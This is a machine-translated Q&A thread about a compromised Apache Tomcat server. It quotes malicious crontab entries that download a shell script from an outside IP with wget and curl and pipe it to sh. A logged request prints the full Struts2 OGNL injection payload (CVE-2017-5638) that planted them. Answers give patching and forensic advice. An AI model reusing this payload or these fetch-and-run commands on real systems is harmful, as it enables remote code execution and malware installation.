通过未知来源的cron对Apache服务器进行Shell脚本攻击


8

在Apache tomcat服务器上运行项目大战时,我发现该服务器已受到威胁。

在对未知分子进行战争时,cron像这样

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

下载的文件logo.jpg带有正在下载恶意软件的外壳程序脚本。

我在下面的这个网站上发现了类似的问题

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

/security/160068/kworker34-malware-on-linux

我无法在整个代码中找到此cron调度程序的来源。

我想知道有人遇到过这个问题吗?以及如何在代码中查找调度程序的来源。

注意:

我正在研究JAVA(Struts 2)+ jsp + javascript + jquery Web项目。

每次我使用项目的war文件启动tomcat时,都会运行此调度程序,但是我无法在代码中找到任何用于调度程序的调度程序。

我在日志文件中找到了以下行

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

您是否更改了默认的Tomcat登录名并禁用了主机管理器?

您是说这两个crontab条目(即cron作业)还是cron调度程序(有时也称为cron守护程序)的起源?您是否从Java应用程序(例如Runtime.getRuntime().exec("something"))中生成了进程或Shell脚本?您是否有项目链接?
Jan Zerebecki

在没有受感染的Java应用程序的情况下启动tomcat时是否启用了cron?

您如何开始雄猫?您如何部署应用程序?(通过GUI,脚本编写还是仅在Webapps中复制.war文件?

我已经添加了我的应用程序日志,请看看。随时让我知道您可以想到的有关此问题的任何信息。

Answers:


4

在OP添加日志之后,很明显,问题出在Struts 2的远程代码执行漏洞(CVE-2017-5638)中。

一些其他链接:

  1. 新的Struts2远程代码执行漏洞被广泛使用
  2. CVE-2017-5638-Apache Struts2 S2-045

解决方案是将您的Struts升级到版本2.3.32或2.5.10.1。


感谢您的回答,但是我已经检查了代码中是否包含诸如“ logo.jpg”和“ 91.230.47.40”之类的关键字。我已经添加了我的应用程序日志,请看看。随时让我知道您可以想到的有关此问题的任何信息。

2

在成为系统管理员之前,我曾遇到过类似的问题。我认为您必须区分是雄猫服务器还是Java应用程序。

当您启动没有“受感染的Java应用程序”的tomcat时,是否启用了cron?(我的意思是,从Tomcat中删除您的应用程序并启动它)。如果是这样,则您遇到了更大的问题,您需要验证启动脚本以及在Tomcat服务器中部署的每个应用程序。

否则,我们确定您的应用是问题所在。

如果是这样,请转到:

$CATALINA_BASE/webapps/your_app 

验证应用程序的完整性,是否存在您无法识别的其他文件?

现在转到tomcat安装的webapps目录:

$CATALINA_BASE/webapps/

在该目录中执行:

grep -R '91.230.47.40' *

要查找可能导致感染的文件/代码行,它可能是您应用程序的文件或新的文件。

您的代码是否在CSV系统中?

通过CSV存储库在受感染服务器外部构建war文件,然后执行以下操作:

md5sum your_app.war

从tomcat服务器中删除您的应用程序,然后重新部署,验证您是否通过md5上传了正确的war,然后检查是否正在调用crontab。

如果您对此步骤提供了反馈,我们将很乐意为您提供帮助。


1
我已经检查了我的代码中是否存在诸如“ logo.jpg”和“ 91.230.47.40”之类的关键字,但是问题出在应用程序而不是tomcat。我已经添加了我的应用程序日志,请看看。随时让我知道您可以想到的有关此问题的任何信息。

2

我们只需要抵抗服务器上的这种攻击,如上所述,它不断为我们的tomcat用户重新启动覆盖crontab的操作。IP地址是相同的。IP地址的整个webapps目录的grep没有显示出罪魁祸首。

在我们的例子中,我们不使用struts,但是在webapps中使用了“ host-manager”和“ manager”应用程序,并且启用了JMX /打开了端口。重新启动时似乎没有解决这些问题,所以我的直觉是该漏洞可能就是其中之一。具体而言,在7.0.73中修复了一个JMX漏洞,这可能是我们的罪魁祸首(https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73)。

我们现在要采取的另一种预防措施是将wget和chmod的访问权限限制为仅root用户(在那些二进制文件上仅执行chmod 770)。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.